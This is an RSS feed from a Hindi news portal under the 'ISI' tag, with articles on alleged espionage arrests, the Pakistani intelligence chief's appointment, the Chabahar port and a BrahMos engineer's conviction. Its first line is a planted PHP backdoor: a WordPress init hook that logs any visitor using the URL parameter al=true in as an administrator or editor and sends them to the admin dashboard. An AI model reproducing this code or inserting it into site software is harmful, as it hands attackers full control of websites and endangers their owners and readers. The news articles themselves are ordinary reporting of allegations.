// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); ISI – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 17 Feb 2026 08:06:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मेरठ में बड़ा खुलासा! सबा फरहत उर्फ नाजिया पर ISI से जुड़ाव और स्लीपर सेल बनाने का आरोप https://pratyushaashakinayikiran.com/?p=198565 Tue, 17 Feb 2026 08:06:00 +0000 https://pratyushaashakinayikiran.com/?p=198565  मेरठ 
 मेरठ के थाना दिल्ली गेट पुलिस ने जली कोठी निवासी पाकिस्तानी नागरिक सबा फरहत उर्फ नाजिया को गिरफ्तार कर लिया. सबा वर्ष 1988 में फरहत मसूद से निकाह के बाद लॉन्ग टर्म वीजा पर भारत आई थी और पिछले तीन दशकों से बिना भारतीय नागरिकता के यहां रह रही थी. 

आरोप है कि उसने अपनी पाकिस्तान में जन्मी बेटी एनम के साथ मिलकर फर्जी दस्तावेजों से भारतीय पासपोर्ट बनवाया और कई देशों की यात्राएं की. स्थानीय महिला रुखसाना की शिकायत पर हुई जांच में वोटर आईडी कार्ड और अन्य दस्तावेज फर्जी पाए जाने के बाद पुलिस ने यह कार्रवाई की है.

फर्जी दस्तावेजों का खेल और विदेश यात्रा

शिकायत के अनुसार, सबा ने 1993 में पाकिस्तान में बेटी एनम को जन्म दिया था और उसे पाकिस्तानी पासपोर्ट पर भारत लाई थी. एनम को भारतीय नागरिकता नहीं दिलाई गई, फिर भी फर्जी कागजात के आधार पर उसका भारतीय पासपोर्ट बनवाया गया. 

सबा ने खुद भी वोटर लिस्ट में सबा मसूद और नाजिया मसूद के नाम से दो अलग-अलग वोट बनवा रखे थे. इन फर्जी दस्तावेजों के सहारे मां-बेटी ने पाकिस्तान सहित कई अन्य देशों की यात्राएं भी कीं, जो नियमों का सीधा उल्लंघन है.

जासूसी और स्लीपर सेल बनाने का आरोप
दर्ज मामले में आरोप लगाया गया है कि सबा के पिता हनीफ पाकिस्तान में आईएसआई एजेंट हैं. सबा और उसकी अधिवक्ता बेटी एनम पर आरोप है कि वे सैन्य इलाकों और दिल्ली स्थित विभिन्न मंत्रालयों में घूमकर गोपनीय सूचनाएं जुटाती थीं. शिकायतकर्ता ने उन पर आईएसआई के लिए जासूसी करने और भारत में स्लीपर सेल तैयार करने का भी गंभीर आरोप लगाया है. पुलिस अब इन सभी इनपुट्स की गहराई से पड़ताल कर रही है ताकि साजिश की पूरी कड़ियां जोड़ी जा सकें.

पुलिस की कार्रवाई और आगामी जांच
मेरठ के एसपी सिटी आयुष विक्रम ने पुष्टि की है कि दिल्ली गेट थाने में मामला पंजीकृत होने के बाद जांच की गई. जांच में महिला द्वारा बिना अनुमति यात्रा करने और फर्जी तरीके से वोटर आईडी बनवाने के आरोप सही पाए गए हैं. इसी आधार पर सबा फरहत को गिरफ्तार किया गया है और उसे माननीय न्यायालय के समक्ष पेश किया जाएगा. पुलिस अब इस नेटवर्क में शामिल अन्य लोगों की पहचान कर रही है ताकि उनके खिलाफ भी सख्त कानूनी कार्रवाई की जा सके.

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दुश्मन मुल्क का जासूस का भाई भी निकला जासूस! एजेंट के संपर्क में था, स्पेशल सेल ने किया गिरफ्तार https://pratyushaashakinayikiran.com/?p=160695 Sun, 01 Jun 2025 08:06:00 +0000 https://pratyushaashakinayikiran.com/?p=160695 नई दिल्ली
 भारत में रहकर पाकिस्तान के लिए जासूसी करने वालों के खिलाफ दिल्ली पुलिस की स्पेशल सेल का ऐक्शन जारी है। स्पेशल सेल ने पाकिस्तान के लिए जासूसी करने के आरोप में तीन दिन पहले राजस्थान के भरतपुर के पास डींग एरिया से कासिम नाम के शख्स की गिरफ्तारी की थी। स्पेशल सेल व बाकी इंटेलिजेंस एजेंसियों की पूछताछ में चौंकाने वाले खुलासे हुए। उसकी निशानदेही पर स्पेशल सेल ने कासिम के भाई आसिम उर्फ हसीम को भी जासूसी के आरोप में पकड़ा है।

सूत्रों के मुताबिक, सेल की टीम को कासिम और आसिम के पाकिस्तान एजेंट से संपर्क में होने की सूचना मिली थी। सेल की टीम ने कई दिन की पूछताछ के बाद कासिम को गिरफ्तार कर लिया, लेकिन तभी से इसका भाई आसिम फरार चल रहा था। स्पेशल सेल को शुक्रवार रात एक इनपुट मिला था। जिसके बाद उसे मेवात से गिरफ्तार कर लिया गया।

ISI के लिए की सिम की व्यवस्था!

सूत्रों के मुताबिक शुरुआती पूछताछ में उसने पाकिस्तान जाने और वहां से रुपये लेने, पाकिस्तान के लिए जासूसी करने की बात कबूल की है। जांच एजेंसियों को अंदेशा है कि कासिम और आसिम ने पाकिस्तानी खुफिया एजेंसी आईएसआई के लोगों को भारतीय सिम भी मुहैया कराए थे, जिनका इस्तेमाल संवेदनशील जानकारियां जुटाने में किया जा रहा था। फिलहाल स्पेशल सेल की टीम दोनों भाइयों के संपर्कों को खंगाल रही है।
मोबाइल से डिलीट कर दिया डेटा

जांच ऐजेंसी से जुड़े सूत्र के मुताबिक आसिम उर्फ हसीम भी पाकिस्तान जा चुका है। इससे पहले वह बचपन में अपने पिता के साथ पाकिस्तान गया था। उसकी बुआ पाकिस्तान से है। आसिम भी अपने भाई की तरह ही इलाके में झाड़ फूंक, ताबीज का काम करता है। जांच एजेंसी को उसके पास से एक मोबाइल फोन मिला है। जिसमें से काफी डेटा व चैट डिलीट की जा चुकी है। मोबाइल फोन को फोरेंसिक जांच और डिलीट डेटा रिकवर करने के लिए एफएसएल भेजा है।

रिश्तेदारों से मिलने की आड़ में जाते थे PAK

उधर पुलिस ने कासिम से भी पूछताछ की है। वह पाकिस्तान में बैठे आकाओं को सेना, सरकारी संस्थानों और कुछ कट्टरवादी हिंदू नेताओं से जुड़ी अहम जानकारियां पहुंचा रहा था। बदले में उसे वहां से पैसा मिलता था। उसने भी अपने मोबाइल से चैट व अन्य डेटा डिलीट कर दिया है। सूत्रों के मुताबिक कासिम और आसिम के रिश्तेदार पाकिस्तान में रहते हैं। दोनों उन्हीं से मिलने की आड़ में पाकिस्तान जाते थे। वहां जाने के बाद वह पाकिस्तानी खुफिया एजेंसी आईएसआई के संपर्क में आ गए। भारत लौटने के बाद भी उनके संपर्क में रहते हुए खुफिया जानकारियां लीक करते रहते थे। जांच ऐजेंसी इस बात का भी पता लगा रही है कि इन तक मनी ट्रांजेक्शन किस तरह से होता था। पुलिस यह भी पता लगाने की कोशिश कर रही है कि क्या और भी लोग इस तरह की गतिविधि में शामिल हैं।

बड़ी मात्रा में पाकिस्तान भेजे गए मोबाइल सिम

कासिम को स्पेशल सेल ने गांव गनगोर, पहाड़ी, डीग राजस्थान से गुरुवार को गिरफ्तार किया। कासिम पर भारतीय सेना से जुड़ी खुफिया जानकारियां और सरकारी कार्यालय की संवेदनशील सूचनाएं पाक खुफिया एजेंसी आईएसआई को पहुंचे का आरोप है। दरअसल, सेल को सितंबर 2024 में जानकारी मिली थी कि कुछ भारतीय मोबाइल नंबरों का इस्तेमाल पाक खुफिया ऑपरेटिव द्वारा जासूसी के लिए किया जा रहा है। इन सिमकार्ड को भारत से पाकिस्तान भेजा गया है। इन नंबरों के जरिए वट्सऐप पर सेना व सरकार से जुड़ी गोपनीय जानकारियां इकट्ठा की जा रही हैं। छानबीन हुई तो भरतपुर निवासी कासिम का नाम सामने आया।

कासिम ने पाकिस्तान में ली जासूसी की ट्रेनिंग

पुलिस को छानबीन के दौरान पता चला कि कासिम ने दो बार पाकिस्तान का दौरा किया है। पहली बार वह अगस्त 2024 में पाकिस्तान गया था। इसके बाद दूसरी बार वह मार्च 2025 में पाकिस्तान गया। वह 90 दिनों तक वहां रहा और आईएसआई के लोगों ने उसे ट्रेनिंग दी। वह पाक खुफिया एजेंसी के कई बड़े लोगों से मिला। वहां उसको जासूसी करने के तरीकों के बारे में बताया गया।

 

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ISI चीफ को बड़ी जिम्मेदारी, पाकिस्तान का NSA बनाया गया, शहबाज पर अब पाकिस्तानी सेना का पूरा कंट्रोल https://pratyushaashakinayikiran.com/?p=152923 Thu, 01 May 2025 07:26:00 +0000 https://pratyushaashakinayikiran.com/?p=152923 इस्लामाबाद
पहलगाम हमले के बाद भारत के साथ बढ़े तनाव के बीच पाकिस्तान की सेना अब शहबाज सरकार पर कंट्रोल करने में जुट गई है। इसने शहबाज शरीफ सरकार में हस्तक्षेप करते हुए पाकिस्तानी सेना की खुफिया एजेंसी आईएसआई के चीफ लेफ्टिनेंट जनरल असीम मलिक को बड़ी जिम्मेदारी सौंपी है। एक्सप्रेस ट्रिब्यून की रिपोर्ट के अनुसार, आईएसआई चीफ असीम मलिक को देश के राष्ट्रीय सुरक्षा सलाहकार का अतिरिक्त प्रभार सौंपा गया है। इस तरह अब पाकिस्तान के प्रधानमंत्री को सेना सीधे सलाह देगी।
भारत-पाकिस्तान से तनाव के बीच नियुक्ति

मलिक की नियुक्ति ऐसे समय में की गई है, जब पिछले सप्ताह जम्मू-कश्मीर के पहलगाम में हुए आतंकी हमले के बाद भारत और पाकिस्तान के बीच तनाव बढ़ा हुआ है। इस हमले में 26 लोग मारे गए थे, जिसमें अधिकांश पर्यटक थे। द एक्सप्रेस ट्रिब्यून ने सूत्रों के हवाले से मलिक को एनएसए का अतिरिक्त प्रभार दिए जाने की जानकारी दी। उनकी घोषणा के बारे में औपचारिक अधिसूचना जारी कर दी गई है। असीम मलिक को बीते साल सितम्बर में कुख्यात आईएसआई का चीफ नियुक्त किया गया था।

पाकिस्तान को भारत के हमले का डर

पहलगाम में हुए आतंकी हमले के बाद से ही पाकिस्तान को भारत की जवाबी कार्रवाई का डर सता रहा है। पाकिस्तान को डर है कि भारत एयरस्ट्राइक या सीधी सैन्य कार्रवाई जैसा बड़ा कदम उठा सकता है। पाकिस्तान के सूचना मंत्री अताउल्लाह तरार ने मंगलवार रात को दो बजे घोषणा कर डाली कि अगले 24 से 36 घंटे के बीच भारत हमला कर सकता है। उन्होंने विश्वसनीय खुफिया जानकारी का हवाला देते हुए ये बात कही।

अमेरिका से गिड़गिड़ाए शहबाज

एक्स पर जारी किए गए एक वीडियो बयान में तरार ने चेतावनी दी कि भारत की किसी भी आक्रामक कार्रवाई का निर्णायक जवाब दिया जाएगा। इस बीच शहबाज शरीफ और अमेरिकी विदेश मंत्री मार्को रुबियो के बीच फोन पर बात हुई है, जिसमें पाकिस्तानी प्रधानमंत्री ने अमेरिका से गुहार लगाई कि वह भारत के गुस्से का शांत करे। शरीफ ने पहलगाम हमले में पाकिस्तान की भूमिका से इनकार किया और भारत पर उकसावे का आरोप लगाया। शरीफ ने पहलगाम हमले की तटस्थ जांच की जांच की मांग और सहयोग का वादा किया।

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तजाकिस्‍तान ने ईरान से चाबहार पोर्ट के इस्‍तेमाल को लेकर बातचीत की शुरू, भारत की बल्‍ले-बल्‍ले https://pratyushaashakinayikiran.com/?p=125195 Sat, 25 Jan 2025 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=125195 तेहरान
तालिबानी सेना और टीटीपी आतंकियों के हमले से जूझ रहे पाकिस्‍तान के लिए एक और बुरी खबर है। तजाकिस्‍तान ने ईरान के साथ चाबहार पोर्ट के इस्‍तेमाल को लेकर बातचीत शुरू कर दी है। तजाकिस्‍तान और ईरान के बीच में भारत के बनाए हुए चाबहार पोर्ट से सामानों की आवाजाही को लेकर यह बातचीत हो रही है। तजाकिस्‍तान और ईरान में यह डील होती है तो भारत के लिए तिहरी खुशखबरी होगा। एक तरफ जहां इससे भारत के लिए भी मध्‍य एशिया तक पहुंचने का रास्‍ता साफ होगा, वहीं चाबहार पोर्ट से कमाई भी होगी। भारत ने चाबहार पोर्ट को बनाने में करोड़ों डॉलर का निवेश किया है और साल 2024 में इस बंदरगाह के प्रबंधन को लेकर 10 साल का समझौता भी किया है।

भारत की इस डील से पाकिस्‍तान को भी बड़ा झटका लगेगा जो तजाकिस्‍तान को तालिबान के खिलाफ खड़ा करने की कोशिश कर रहा है। हाल ही में पाकिस्‍तान की खुफिया एजेंसी के प्रमुख ने तजाकिस्‍तान का दौरा किया था। पाकिस्‍तानी मीडिया के मुताबिक आईएसआई चीफ ने न केवल तजाकिस्‍तान के राष्‍ट्रपति से बातचीत की थी बल्कि वह तालिबान विरोधी नादर्न अलायंस के नेताओं से भी मिले थे। अहमद मसूद समेत नादर्न अलायंस के नेताओं ने एनआरएफ नाम से एक संगठन बनाया है जो तजाकिस्‍तान में रहकर तालिबानी प्रशासन को बंदूकों के बल पर चुनौती दे रहा है।

तालिबान और तजाकिस्‍तान में सुधर रहे रिश्‍ते

तजाकिस्‍तान चाहता है कि भारत और खाड़ी तथा हिंद महासागर के देशों के साथ उसका व्‍यापार बढ़े और इसी वजह से चाबहार पोर्ट के जरिए सामानों के आवाजाही पर समझौता करना चाहता है। तजाकिस्‍तान ट्रांसपोर्ट मंत्री अजीम इब्राहिम और ईरान के सड़क मंत्री फरजानेह सदेघी ने हाल ही में एक सहयोग समझौते पर हस्‍ताक्षर किया है। इसके जरिए चाबहार पोर्ट के जरिए सामानों की आवाजाही की जा सकेगी। इससे पहले तजाकिस्‍तान के अधिकारियों ने ईरान के बंदर अब्‍बास पोर्ट के भी इस्‍तेमाल का ऐलान किया था ताकि सामानों को ले जाया जा सके।

तजाकिस्‍तान की सीमा ईरान से नहीं लगती है। तजाकिस्‍तान को ईरान के पोर्ट तक पहुंचने से पहले उज्‍बेकिस्‍तान और तुर्कमेनिस्‍तान या अफगानिस्‍तान के रास्‍ते का इस्‍तेमाल करना होगा। तजाकिस्‍तान से चाबहार पोर्ट तक पहुंचने के लिए अफगानिस्‍तान का रास्‍ता सबसे छोटा है। मध्‍य एशिया के देशों की तुलना में तजाकिस्‍तान ने अभी तक तालिबानी सरकार के साथ रिश्‍ते मधुर नहीं किए हैं। हालांकि दोनों के बीच अब धीरे-धीरे रिश्‍ते विकसित हो रहे हैं। अफगान समाज में तजाकिस्‍तान की भूमिका काफी ज्‍यादा है। अफगानिस्‍तान में बहुत बड़ी तादाद में ताजिक मूल के लोग रहते हैं। तजाकिस्‍तान तालिबान को रोकने के लिए तैयार है लेकिन पाकिस्‍तान के इशारे पर तालिबानी सरकार के खिलाफ कोई सुरक्षा अलायंस नहीं बनाने जा रहा है। भारत और तजाकिस्‍तान के बीच दशकों पुरानी दोस्‍ती है और अब तालिबान सरकार तथा नई दिल्‍ली के बीच दोस्‍ती भी मजबूत हो रही है।

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पाकिस्तान की खुफिया एजेंसी ISI को मिला नया आका, जानें कौन हैं जनरल असीम मलिक, मिला ताकतवर पद https://pratyushaashakinayikiran.com/?p=74376 Tue, 24 Sep 2024 10:27:00 +0000 https://pratyushaashakinayikiran.com/?p=74376 इस्लामाबाद
 पाकिस्तान की खुफिया एजेंसी आईएसआई को नया चीफ मिल गया है। लेफ्टिनेंट जनरल मुहम्मद असीम मलिक को इंटर-सर्विसेज इंटेलिजेंस (आईएसआई) का डीजी नियुक्त किया गया है। सर्विसेज पब्लिक रिलेशंस (आईएसपीआर) ने  यह जानकारी दी है। असीम मलिक वर्तमान में रावलपिंडी में सेना मुख्यालय (जीएचक्यू) में एडजुटेंट जनरल के पद पर काम कर रहे हैं, अब उनको आईएसआई का डीजी बनाया गया है। मुहम्मद असीम मलिक 30 सितंबर को आईएसआई प्रमुख के तौर पर अपना कार्यभार संभालेंगे।

आज न्यूज की रिपोर्ट के मुताबिक, असीम मलिक लेफ्टिनेंट जनरल नदीम अंजुम की जगह लेंगे। नदीम 2021 से डीजी आईएसआई के रूप में कार्यरत हैं और उन्हें 2023 में एक साल का विस्तार दिया गया था। अंजुम को वाशिंगटन डीसी में पाकिस्तान के राजदूत बनाए जाने की चर्चा है। लेफ्टिनेंट जनरल मलिक पूर्व में बलूचिस्तान में पैदल सेना डिवीजन और वजीरिस्तान में एक पैदल सेना ब्रिगेड की कमान संभाल चुके हैं और अपने काम के लिए कई अवार्ड भी पा चुके हैं। मलिक की पढ़ाई का बात की जाए तो वह अमेरिका में फोर्ट लीवेनवर्थ और लंदन में रॉयल कॉलेज ऑफ डिफेंस स्टडीज से पढ़े हैं।
मलिक ने शानदार करियर के लिए बनाई है पहचान

पाकिस्तानी फौज में मलिक का करियर काफी अच्छा रहा है। उन्होंने पहले बलूचिस्तान और वजीरिस्तान में सेना ब्रिगेड की कमान संभाली है, ये दोनों ही क्षेत्र पाकिस्तानी सरकार के लिए चुनौतीपूर्ण रहे हैं। अपनी शैक्षणिक और नेतृत्व क्षमता के लिए जाने जाने वाले लेफ्टिनेंट जनरल असीम को उनके सैन्य प्रशिक्षण के दौरान प्रतिष्ठित स्वोर्ड ऑफ ऑनर से सम्मानित किया गया था।

असीम मलिक ने राष्ट्रीय रक्षा विश्वविद्यालय (एनडीयू) में मुख्य प्रशिक्षक और क्वेटा में कमांड एंड स्टाफ कॉलेज में ट्रेनर के रूप में भी काम किया है। असीम मलिक की नियुक्ति पाकिस्तान की खुफिया एजेंसी के लिए एक महत्वपूर्ण समय पर हुई है, जब देश कई मुद्दों से जूझ रहा है। पाकिस्तान में आईएसआई का काफी दखल है और एजेंसी घरेलू और अंतरराष्ट्रीय स्तर पर महत्वपूर्ण भूमिका निभाती रही है।

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जम्मू-कश्मीर सफल हो रहा है ISI का फाल्कन 50 प्रॉजेक्ट? भ्रम फैलाना चाहती है ISI https://pratyushaashakinayikiran.com/?p=41175 Fri, 14 Jun 2024 09:56:00 +0000 https://pratyushaashakinayikiran.com/?p=41175 नई दिल्ली
 तैयारी लोकसभा चुनाव के दौरान आतंकी हमलों से दहलाने की थी, लेकिन तब सफलता नहीं मिली। अब जैसे-तैसे बॉर्डर पार कर रहे तो जम्मू में सीरियल अटैक का सिलसिला सा चल पड़ा। पहले रियासी में श्रद्धालुओं की बस पर अटैक, फिर कठुआ में गोलीबारी और फिर डोडा में सेना की चौकी पर अटैक, ये आतंकी वारदात कुछ इशारा कर रहे हैं। इन सभी हमलों के पीछे पाकिस्तान का सीधा-सीधा हाथ है। पाकिस्तानी खुफिया एजेंसी आईएसआई ने अपनी रणनीति बदल ली है। नई रणनीति के तहत आईएसआई कश्मीर घाटी की जगह जम्मू के इलाके में आतंक फैलाने के प्लान पर आगे बढ़ रही है।

आईएसआई का प्रॉजेक्ट फाल्कन 50

आईएसआई ने जम्मू को टारगेट करने के लिए 'फाल्कन 50' प्रॉजेक्ट लॉन्च किया है। इसके तहत पाकिस्तान अधिकृत कश्मीर (पीओके) में आंतकियों के जत्थे को ट्रेंड किया जा रहा है और मौका लगते ही खून-खराबे में माहिर हो चुके आतंकियों को सीमा पार करवा दिया जाता है। सूत्रों के मुताबिक, जम्मू के सांबा सेक्टर से लगी सीमा इन दिनों पाकिस्तानी आतंकियों का अड्डा बनी हुई है। वहां आतंकियों का समूह दिन-रात सीमा पार करने की फिराक में पल-पल का इतंजार करता रहता है। आईएसआई ने मूलतः लोकसभा चुनावों के दौरान आतंकी हमला करवाकर सरकार के खिलाफ माहौल बनाने की थी, लेकिन उसे तब आतंकियों को सीमा पार करवाने में सफलता नहीं मिल पाई। अब पाकिस्तान प्रायोजित आतंकी बॉर्डर क्रॉस करने में सफल हो गए तो लगातार तीन घटनाएं सामने आ गईं।

जम्मू-कश्मीर के बदले मिजाज से घबराया पाकिस्तान

दरअसल, लोकसभा चुनाव के बाद अब कुछ महीनों में जम्मू-कश्मीर विधानसभा के चुनाव होने वाले हैं। पाकिस्तानी एजेंसी आईएसआई इसे एक मौका समझ रही है। लोकसभा चुनावों में जम्मू-कश्मीर में वोटिंग का रिकॉर्ड टूटने से घबराया पाकिस्तान यह सुनिश्चित करना चाहता है कि जम्मू-कश्मीर की जनता में लोकतंत्र के प्रति आस्था गहराती न रहे। इस कारण से वह खून-खराबे की हैवानियत के जरिए लोगों में डर का माहौल बनाना चाहता है ताकि विधानसभा चुनावों में वोटर अपने घरों में ही दुबके रहें।

यूं ही अंजाम तक पहुंचते रहेंगे आतंकी

पाकिस्तान चाहता है कि जम्मू-कश्मीर से आर्टिकल 370 हटने के बाद भय के माहौल से निकलकर विकास के सपने देखने वाली आम आबादी के अरमान चकनाचूर हो जाएं। इसी मकसद से वो आतंकी हमलों के जरिए यह जताने की कोशिश में जुटा है कि दरअसल आर्टिकल 370 हटने से जम्मू-कश्मीर में शांति आने का दावा झूठा है। वो प्रदेश की जनता के साथ-साथ अंतरराष्ट्रीय बिरादरी को भी भ्रमजाल में फांसने की फिराक में है। फाल्कन 50 प्रॉजेक्ट के जरिए अपना मकसद साधने में जुटी आईएसआई को लगातार मुंह की खानी पड़ रही है। भारतीय सेना ढूंढकर आतंकियों के सफाया कर रही है।

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ब्रह्मोस के पूर्व इंजीनियर को उम्रकैद, ISI के लिए जासूसी का आरोप https://pratyushaashakinayikiran.com/?p=37505 Mon, 03 Jun 2024 21:07:00 +0000 https://pratyushaashakinayikiran.com/?p=37505 नागपुर

 

नागपुर की एक अदालत ने सोमवार को ब्रह्मोस एयरोस्पेस के पूर्व इंजीनियर निशांत अग्रवाल को आजीवन कारावास की सजा सुनाई है। अग्रवाल पर पाकिस्तान की खुफिया एजेंसी आईएसआई के लिए जासूसी करने के आरोप हैं। निशांत अग्रवाल को 2018 में पाकिस्तान की खुफिया एजेंसी आईएसआई को ब्रह्मोस मिसाइल के बारे में जानकारी लीक करने के आरोप में गिरफ्तार किया गया था।

निशांत अग्रवाल ब्रह्मोस एयरोस्पेस में सीनियर सिस्टम इंजीनियर थे और मिसाइल परियोजनाओं में शामिल थे। अग्रवाल को आईएसआई को परियोजनाओं के बारे में गोपनीय जानकारी देने के आरोप में उत्तर प्रदेश और महाराष्ट्र एटीएस और मिलिट्री इंटेलिजेंस ने 2018 में नागपुर के पास से गिरफ्तार किया था।

बता दें कि ब्रह्मोस एयरोस्पेस डीआरडीओ और रूस के मिलिट्री इंडस्ट्रियल कंसोर्टियम (एनपीओ मशीनोस्ट्रोयेनिया) का एक संयुक्त उपक्रम है, जो भारत में सुपरसोनिक क्रूज मिसाइल के विकास और निर्माण का काम करता है।  इन सुपरसोनिक मिसाइलों को जमीन, हवा, समुद्र और पानी के नीचे से भी लॉन्च किया जा सकता है।

2018 में जब अग्रवाल की गिरफ्तारी हुई थी, तब उस खबर ने हलचल मचा दी थी क्योंकि यह ब्रह्मोस एयरोस्पेस से जुड़ा यह पहला जासूसी का मामला था। तब आरोप लगे थे कि अग्रवाल दो फेसबुक अकाउंट – नेहा शर्मा और पूजा रंजन के ज़रिए संदिग्ध पाकिस्तानी खुफिया एजेंटों के संपर्क में था। इस्लामाबाद से संचालित इन अकाउंट्स के बारे में माना जाता है कि इन्हें पाकिस्तान के खुफिया एजेंस चला रहे थे।

निशांत अग्रवाल बहुत ही मेधावी इंजीनियर था। उसे डीआरडीओ का यंग साइंटिस्ट अवार्ड से भी सम्मानित किया गया था। वह NIT कुरुक्षेत्र का छात्र रहा है। चार्जशीट के मुताबिक उसके लैपटॉप से बेहद गोपनीय फाइलें मिली थीं। इसके अलावा, एक सॉफ्टवेयर भी पाया गया था, जिससे लैपटॉप में मौजूद संवेदनशील तकनीकी जानकारियों को विदेशों और असामाजिक तत्वों को भेजा गया था।

 

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